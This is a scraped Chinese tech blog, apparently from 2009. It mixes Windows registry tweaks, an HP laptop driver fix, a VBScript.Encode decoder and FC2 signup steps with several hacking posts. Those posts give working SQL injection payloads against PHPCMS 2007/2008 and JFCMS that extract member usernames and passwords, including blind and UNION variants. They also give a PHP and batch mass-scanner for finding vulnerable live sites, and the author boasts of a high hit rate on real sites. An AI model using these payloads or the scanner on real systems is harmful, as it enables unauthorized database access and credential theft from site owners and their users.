[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{D27CDB6E-AE6D-11cf-96B8-444553540000}]
"Compatibility Flags"=dword:00000400(禁止)/00000000(允许)

《IE打开网页时的默认前缀》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes]
"www"="http://"(以www开头的网址)
"ftp"="ftp://"(以ftp开头的网址)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\DefaultPrefix]
@="http://"(以其它字符开头的网址)

《Outlook Express》
[HKEY_CURRENT_USER\Identities\<User ID>\Software\Microsoft\Outlook Express\5.0]
"WindowTitle"="ab"(更改Outlook Express标题)
"NoSplash"=dword:00000001(不显示启动画面)
[注]<User ID>代表用户ID,格式为{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express]
"No Modify Accts"=dword:00000001(禁止创建及修改帐户)
"HTTP Mail Enabled"=dword:00000000(禁止使用HTTP邮件功能)

《加快网上邻居的访问速度》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace]
[操作]删除{2227A280-3AEA-1069-A2DE-08002B30309D}(打印机)和{D6277990-4C6A-11CF-8D87-00AA0060F5BF}(计划任务)。

《清理网上邻居历史记录》(WIN9X)
[HKEY_CURRENT_USER\Network\Recent]

我的QQ空间
笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案
今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"micr...
 

在xp.xp3桌面显示IE图标(非快捷键方式)

| | 0 评论 |

安装了最新的XP SP3系统,却发现桌面没有IE图标,然后在桌面单击右键,选择属性,在选择"桌面"标签,点击"自定义桌面"按钮,却发现没有显示IE图标的选项。
这个不是什么版本问题,是微软了应对反垄断而将其隐藏了,但是实际上那个选项还在,只不过你看不到,解决办法很简单:

      第一:打开"我的电脑",然后点击"向上"按钮,发现了什么,居然有IE,不用多说了,直接拉在桌面上即可。

        第二:打开D盘,新建一文件夹,记住是文件夹,取名"Internet Explorer.{871C5380-42A0-1069-A2EA-08002B30309D} ",不含引号,然后直接将其文件夹拉到桌面,看到了什么,IE已经重现。

       第三:桌面--右键--属性--选择桌面属性卡--自定义桌面,勾上自己希望有的图标 我的文档、网上邻居、我的电脑,这时不要点下面的确定,按一下alt+i,(桌面原来如果有IE图标,用按ALT+I这种方法则隐藏)然后再点击确定,回到显示属性,再点确定,熟悉的IE图标出现在了桌面

大家可以发现,这三种方法,并非是快捷方式那种。


我的QQ空间
笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案
今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"micr...
 

phpcms 2007 最后的两个注射.

2009年8月23日星期日 | | 0 评论 |

为什么说是最后的两个注射呢?因为这个2007版的PHPCMS已经木人研究了,现在发两个我和luoye发现的小洞

都玩烂了的,大大们别笑哈~~


====================================================================

message/friend.php

............................................................
if ($_username != $username)
{
if ($action == 'add')
{
$res = $db->query("SELECT userid FROM ".TABLE_MEMBER." where username='$username'");
............................................................

http://127.0.0.1/phpcms/message/friend.php?action=add&username=luoye%cf'

=====================================================================


house/web.php

............................................................
if($username)
{
    $r = $db->get_one("SELECT * FROM ".TABLE_MEMBER." m,".TABLE_MEMBER_INFO." i WHERE m.username='".$username."' AND m.userid=i.userid");
............................................................

http://127.0.0.1/phpcms/house/web.php?username=luoye%cf'

=====================================================================


Test for sp6:http://127.0.0.1/phpcms/house/web.php?username=luoye% cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,password,65/**/from/**/phpcms_member/**/where/**/userid=1/*



我的QQ空间
笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案
今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"micr...
 

PhpCms2008 GBK双字节编码0day ask search_ajax.php

2009年8月22日星期六 | | 0 评论 |

作者:幻泉[B.S.N]
受影响程序: phpcms2008 gbk
漏洞文件:ask/search_ajax.php
漏洞等级:高
漏洞说明:
/ask/search_ajax.php
Code:

if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);/ask/include/answer.class.php
Code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}测试方法:

/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

我的QQ空间
笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案
今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"micr...
 

phpcms 2007 GBK版0day注射扫描脚本

| | 0 评论 |

本来比较忙,想整个站,发现这个0DAY还是很好的,写了个脚本自动扫描存在了漏洞的站点,至于说自动注射出帐号密码,还是不要了,不装X了。

网上看了下,貌似是零客网安0.S.T的"小蟑螂"大哥发现的~~

漏洞产生在member/member.php的第4行,代码如下:

..............
$m = $db->get_one("SELECT * FROM ".TABLE_MEMBER." m , ".TABLE_MEMBER_INFO." i WHERE m.userid=i.userid AND m.username='$username' ","CACHE",86400);
..............

username变量未经过过滤就进入查询了,我们在其包含的include/common.inc.php文件中有如下代码:

................
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
...............

呵呵,开始注射吧!由于变量有单引号"'",所以我们要用一种方法去绕过这个限制,具体各位可以参考80sec的文章:
http://www.80sec.com/php-coder-class-security-alert.html

修改了下鬼仔的那个东西,直接那来用了,装X,哈哈……

=================scanbug.php==========================================

<?
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
PHPcms SODB-2008-13 Exp
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpcms
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="phpcms_";
//$cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo "Error... check the path!\r\n\r\n"; die;}
/*get   $prefix*/
$packet ="GET ".$path."member/member.php?username=tlm%cf' HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
//$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
echo "\n\n正在测试站点: $host ……\n";
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode(" ",$temp[1]);}
if ($temp2[0]){
$prefix=$temp2[0];
echo "数据库为: ".$prefix."\r\n";
echo "当前站点发现漏洞,请手工检测...\r\n";
}
$filename = "php0day.txt";
$handle   = fopen ($filename,"a+");
if (!is_writable ($filename)){
die ("文件:".$filename."不可写,请检查其属性后重试!");
}
if (!fwrite ($handle,"\n存在漏洞的站点\t$host")){
die ("生成文件".$filename."失败!");
}
fwrite($handle,"\r\n");
fwrite($handle,"当前站点数据库\t");
fwrite($handle,$prefix);

fwrite($handle,"\r\n");
print_r('内容已经写入文件!');
fclose ($handle); //关闭指针
}
else
exit("没漏洞哦……\n");

?>

===================================END==========================================

脚本文件就更简单了:

===================================scan.bat=======================================

@echo off
title PHPcms PHPcms 0DAY自动注射程序工作中……
FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (php.txt) do D:\PHPnow-1.4.5-20\php-5.2.6-

Win32\php.exe 0dayhpcms.php %%i /
pause

====================================end==========================================

貌似存在这个漏洞的站点很多啊,随便扫了一下,命中率相当高,呵呵~

至于查询密码,就用NUNION吧,网上找了个工具抓了下包,貌似是不同版本的字段数不一样

==============================================

/member/member.php?username=luoye%cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,username,password,57,58,59,60,61,62,63,64,65/**/from/**/phpcms_member/**/where/**/userid=1

/member/member.php?username=luoye%cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,username,password,57,58,59,60,61,62/**/from/**/phpcms_member/**/where/**/userid=1/*

/member/member.php?username=luoye%cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,username,password,52,53,54,55,56,57/**/from/**/phpcms_member/**/where/**/userid=1/*

/member/member.php?username=luoye%cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,username,password,53,54,55,56,57,58/**/from/**/phpcms_member/**/where/**/userid=1/*

==============================================

替换其中的数据库名就可以了,数据库名已经扫描出来了,有利用工具,自己发挥吧……



我的QQ空间
笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案
今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"micr...
 

笔记本 microsoft ACPI-Compliant System 无法驱动 解决方案

| | 0 评论 |

今天安装HP540 笔记本XP系统,系统做好后安装驱动发现"microsoft ACPI-Compliant System "无法驱动.

解决方法如下:

装完驱动一切正常,可是设备管理器中还有一个黄色的问号,
查看microsoft ACPI-Compliant System 属性,发现在驱没驱上,去官方上下载驱动程序,也法驱动成功。
解决方案:
ACPI,Advanced Configuration and Power Interface的缩写,意思是"高级配置与电源接口"。这是英特尔、微软和东芝共同开发的一种电源管理标准。
解决次问题:
1.如果是HP的笔记本,只需到惠普网站下一个HPQuickLaunchButtons的驱动,装完了就好了.(装好以后是在设备管理器-键盘下多了一个"HID Keyboard Device")其他兼容方法(不推荐)
2.(强行更新未知设备为电池设备)电脑右键-属性-硬件-设备管理器-未知设备-属性-更新-不要搜索-我要自己选择安装的驱动程序-.选取硬件电池. 然后选Microsoft ACPI…驱动.系统会提示无法确认这个驱动程序是否与硬件兼容,依然确定,强行安装就可以了。
装了以后在设备管理器电池项下会多处一个"Microsoft ACPI-Compliant Control Method Battery",即有两个"Microsoft ACPI-Compliant Control Method Battery",这样设备管理器里就没有未知设备了,不过这样装是硬塞一个给他,实际的设备驱动并没安装。不建议使用此方法。


我的QQ空间
Encode加密/解密工具 &code
(一): VBscript.Encode 解密<html><head><meta h...
 

Encode加密/解密工具 &code

2009年8月21日星期五 | | 0 评论 |

(一): VBscript.Encode 解密
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>VBscript.Encode 解密</title>
</head>
<body>
<center>
<table cellPadding=3 bgcolor=#e7e7e7>
<tr>
<td bgcolor=#336699>
<div align=center><font color=#ffffff size=3><strong>VBscript.Encode解码器</strong></font></div></td></tr>

<tr>
<td align=middle height=80>
<script language=JScript>
var STATE_COPY_INPUT = 100
var STATE_READLEN = 101
var STATE_DECODE = 102
var STATE_UNESCAPE = 103
var pick_encoding = new Array(
1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,
1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,
1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,
1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2
)
var rawData = new Array(
0x64,0x37,0x69, 0x50,0x7E,0x2C, 0x22,0x5A,0x65, 0x4A,0x45,0x72,
0x61,0x3A,0x5B, 0x5E,0x79,0x66, 0x5D,0x59,0x75, 0x5B,0x27,0x4C,
0x42,0x76,0x45, 0x60,0x63,0x76, 0x23,0x62,0x2A, 0x65,0x4D,0x43,
0x5F,0x51,0x33, 0x7E,0x53,0x42, 0x4F,0x52,0x20, 0x52,0x20,0x63,
0x7A,0x26,0x4A, 0x21,0x54,0x5A, 0x46,0x71,0x38, 0x20,0x2B,0x79,
0x26,0x66,0x32, 0x63,0x2A,0x57, 0x2A,0x58,0x6C, 0x76,0x7F,0x2B,
0x47,0x7B,0x46, 0x25,0x30,0x52, 0x2C,0x31,0x4F, 0x29,0x6C,0x3D,
0x69,0x49,0x70, 0x3F,0x3F,0x3F, 0x27,0x78,0x7B, 0x3F,0x3F,0x3F,
0x67,0x5F,0x51, 0x3F,0x3F,0x3F, 0x62,0x29,0x7A, 0x41,0x24,0x7E,
0x5A,0x2F,0x3B, 0x66,0x39,0x47, 0x32,0x33,0x41, 0x73,0x6F,0x77,
0x4D,0x21,0x56, 0x43,0x75,0x5F, 0x71,0x28,0x26, 0x39,0x42,0x78,
0x7C,0x46,0x6E, 0x53,0x4A,0x64, 0x48,0x5C,0x74, 0x31,0x48,0x67,
0x72,0x36,0x7D, 0x6E,0x4B,0x68, 0x70,0x7D,0x35, 0x49,0x5D,0x22,
0x3F,0x6A,0x55, 0x4B,0x50,0x3A, 0x6A,0x69,0x60, 0x2E,0x23,0x6A,
0x7F,0x09,0x71, 0x28,0x70,0x6F, 0x35,0x65,0x49, 0x7D,0x74,0x5C,
0x24,0x2C,0x5D, 0x2D,0x77,0x27, 0x54,0x44,0x59, 0x37,0x3F,0x25,
0x7B,0x6D,0x7C, 0x3D,0x7C,0x23, 0x6C,0x43,0x6D, 0x34,0x38,0x28,
0x6D,0x5E,0x31, 0x4E,0x5B,0x39, 0x2B,0x6E,0x7F, 0x30,0x57,0x36,
0x6F,0x4C,0x54, 0x74,0x34,0x34, 0x6B,0x72,0x62, 0x4C,0x25,0x4E,
0x33,0x56,0x30, 0x56,0x73,0x5E, 0x3A,0x68,0x73, 0x78,0x55,0x09,
0x57,0x47,0x4B, 0x77,0x32,0x61, 0x3B,0x35,0x24, 0x44,0x2E,0x4D,
0x2F,0x64,0x6B, 0x59,0x4F,0x44, 0x45,0x3B,0x21, 0x5C,0x2D,0x37,
0x68,0x41,0x53, 0x36,0x61,0x58, 0x58,0x7A,0x48, 0x79,0x22,0x2E,
0x09,0x60,0x50, 0x75,0x6B,0x2D, 0x38,0x4E,0x29, 0x55,0x3D,0x3F
)
var transformed = new Array()
for (var i=0; i<3; i++) transformed[i] = new Array()
for (var i=31; i<=126; i++) for (var j=0; j<3; j++) transformed[j][rawData[(i-31) * 3 + j]] = (i==31) ? 9 : i

var digits = new Array()
for (var i=0; i<26; i++)
{
digits["A".charCodeAt(0)+i] = i
digits["a".charCodeAt(0)+i] = i+26
}
for (var i=0; i<10; i++) digits["0".charCodeAt(0)+i] = i+52
digits[0x2b] = 62
digits[0x2f] = 63
function unescape(char)
{
var escapes = "#&!*$"
var escaped = "\r\n<>@"
if (char.charCodeAt(0) > 126) return char
if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)
return "?"
}

function decodeBase64(string)
{
var val = 0
val += (digits[string.substr(0,1).charCodeAt(0)] << 2)
val += (digits[string.substr(1,1).charCodeAt(0)] >> 4)
val += (digits[string.substr(1,1).charCodeAt(0)] & 0xf) << 12
val += ((digits[string.substr(2,1).charCodeAt(0)] >> 2) << 8)
val += ((digits[string.substr(2,1).charCodeAt(0)] & 0x3) << 22)
val += (digits[string.substr(3,1).charCodeAt(0)] << 16)
return val
}
function strdec(encodingString)
{

var marker = "#@~^"
var stringIndex = 0
var scriptIndex = -1
var unEncodingIndex = 0
var char = null
var encodingLength = unEncodinglength = 0
var state = STATE_COPY_INPUT
var unEncodingString = ""
var re, arr

while(state)
{
switch (state)
{
case (STATE_COPY_INPUT) :
scriptIndex = encodingString.indexOf(marker, stringIndex)
if (scriptIndex != -1)
{
unEncodingString += encodingString.substring(stringIndex, scriptIndex)
scriptIndex += marker.length
state = STATE_READLEN
}
else
{
stringIndex = stringIndex==0 ? 0 : stringIndex
unEncodingString += encodingString.substr(stringIndex, encodingString.length)
state = 0
}
break

case (STATE_READLEN) :
encodingLength = encodingString.substr(scriptIndex, 6)
unEncodinglength = decodeBase64(encodingLength)
scriptIndex += (6 + "==".length)
state = STATE_DECODE
break

case (STATE_DECODE) :
if (!unEncodinglength)
{
stringIndex = scriptIndex + "DQgAAA==^#[email protected]".length
unEncodingIndex = 0
state = STATE_COPY_INPUT
break
}
char = encodingString.substr(scriptIndex, 1)
if (char == "@") state = STATE_UNESCAPE
else
{
if (char.charCodeAt(0) < 0xFF)
{
unEncodingString += String.fromCharCode(transformed[pick_encoding[unEncodingIndex%64]][char.charCodeAt(0)])
unEncodingIndex++
}
else
{
unEncodingString += char
}
scriptIndex++
unEncodinglength--
break
}

case STATE_UNESCAPE:
unEncodingString += unescape(encodingString.substr(++scriptIndex, 1))
scriptIndex++; unEncodinglength -=2
unEncodingIndex++
state = STATE_DECODE
break
}
}

re = new RegExp("(JScript|VBscript).encode", "gmi")
while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext + RegExp.$1 + RegExp.rightContext
return unEncodingString
}

</script>

<textarea id=encodeHTML rows=20 cols=80></textarea> <br><br>
<div align=center><button onclick=encodeHTML.innerText=strdec(encodeHTML.innerText)>解密
</button></div></td></tr></table></td></tr></table></td></tr></table>
</body>
</html>
参考网址:
http://www.5luyu.cn/article.asp?id=481   个人感觉这个比较好,不过只能解密
其它的 Encode在线 加密/解密
参考网址:
http://tool.chinaz.com/Tools/Encode.aspx
http://www.webmasterhome.cn/tool/Encode.asp

我的QQ空间
╠灌╣╠水╣╠许╣╠可╣
╔╦╗╔╦╗╔╦╗╔╦╗ ╠灌╣╠水╣╠许╣╠可╣ ╚╩╝╚╩...
 

╠灌╣╠水╣╠许╣╠可╣

| | 0 评论 |

╔╦╗╔╦╗╔╦╗╔╦╗ 
╠灌╣╠水╣╠许╣╠可╣ 
╚╩╝╚╩╝╚╩╝╚╩╝
 (国)灌字准号:2003-001

我的QQ空间
破解Access(*.mdb)目前所有版本的密码
关于Access97的密码破解,在很多的网站和杂志上都有过介绍。在这...
 

FC2使用手册(1)-FC2 BLOG注册

2009年8月20日星期四 | | 0 评论 |

网址:http://blog.fc2.com/
注册网址:http://id.fc2.com/signup.php
●在上面メールアドレスの入力中填上e-mail地址, 点击送信 ..
『推荐hotmail和gmail等国外邮件』

●画像认证中输入图像中的数字~
1 いち、イチ
2 に、ニ
3 さん、サン
4 よん、し、ヨン、シ
5 ご、ゴ
6 ろく、ロク
7 しち、なな、シチ、ナナ
8 はち、ハチ
9 きゅう、く、キュウ、ク
0 ぜろ、ゼロ、れい、レイ
对照一下楼上各位的表格,楼住你看看具体的日文代表了哪些数字,输入半角阿拉伯数字~ 确认点击~



●返回自己的邮箱 找一封[email protected]的邮件,点击信中链接~


●填入ID,密码,密码确认等


●然后登陆http://id.fc2.com,选サービス追加开通第一项FC2 ブログ后选择希望ID后,这样 fc2的id就注册成功了。

我的QQ空间
破解Access(*.mdb)目前所有版本的密码
关于Access97的密码破解,在很多的网站和杂志上都有过介绍。在这...
 

New bug :JFCMS(ASP.NET) SQLINJECTION BUG

| | 0 评论 |

官方网站:http://www.jfcms.net/

描述:渐飞网站管理系统系列产品,是由渐飞网络(云南省曲靖市现代科技有限公司)自主研发,并拥有自主知识产权的用于互联网网站发布管理的产品。经过多年的潜心研究、开发,并在此过程中听取用户的建议意见,不断改进,优化。现在在互联网众多网站管理系统中已经有了相当高的知名度,广受各企业、单位、个人站长等的好评。
渐飞网站管理系统前身是:渐飞新闻系统--渐飞新闻出版系统--渐飞网站管理系统渐飞网站管理系统的英文名称是:JFCms(JF Content Manage System)

漏洞描述:经过Reflector的反编译,login.aspx文件存在SQL注入漏洞

private void Page_Load(object sender, EventArgs e)
{
    string userPwd = base.Request["UserPwd"]; //未过滤
    string userName = base.Request["UserName"];//未过滤
    string str3 = base.Request["Cookies"];
    string url = base.Server.UrlDecode(base.Request["formurl"]);
    int num = 0;
    try
    {
        num = Convert.ToInt16(str3);
    }
    catch
    {
    }
    switch (userPwd)
    {
        case null:
        case "":
            userPwd = "##########";
            break;
    }
    if ((userName == null) || (userName == ""))
    {
        userPwd = "##########";
    }
    if (this.Fc.chkGuestUser(userName, userPwd)) //两个变量没过滤直接调用
    {
        base.Response.Cookies["JF_GuestUserName"].Value = this.Fc.Encrypt(userName);
        base.Response.Cookies["JF_GuestUserPwd"].Value = this.Fc.Encrypt(userPwd);
        base.Response.Cookies["JF_GuestUserID"].Value = this.Fc.Encrypt(this.Dc.GetExecuteScalar("select UserID From JF_GuestUser where UserName='" + userName + "' and UserPwd='" + userPwd + "'"));
        if (num != 0)
        {
            base.Response.Cookies["JF_GuestUserName"].Expires = DateTime.Now.AddDays((double) num);
            base.Response.Cookies["JF_GuestUserPwd"].Expires = DateTime.Now.AddDays((double) num);
            base.Response.Cookies["JF_GuestUserID"].Expires = DateTime.Now.AddDays((double) num);
        }
        if ((url == "") || (url == null))
        {
            base.Response.Redirect("tglist.aspx");
        }
        else
        {
            base.Response.Redirect(url);
        }
    }
    else
    {
        base.Response.Write("<script>alert('用户名/密码有误 点击确定返回重新输入 ^_^');history.back()</script>");
    }
}

//===========================================

  public bool chkGuestUser(string UserName, string UserPwd)
{
    bool flag = false;
    if (int.Parse(this.Dc.GetExecuteScalar("select count(UserID) From JF_GuestUser where UserName='" + UserName + "' and UserPwd='" + UserPwd + "'")) > 0) // 再次产生SQL注入漏洞
    {
        flag = true;
    }
    return flag;
}

测试方法:
http://target.com/user/login.aspx?UserName=admin&UserPwd=admin'

测试结果:




我的QQ空间
破解Access(*.mdb)目前所有版本的密码
关于Access97的密码破解,在很多的网站和杂志上都有过介绍。在这...
 


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]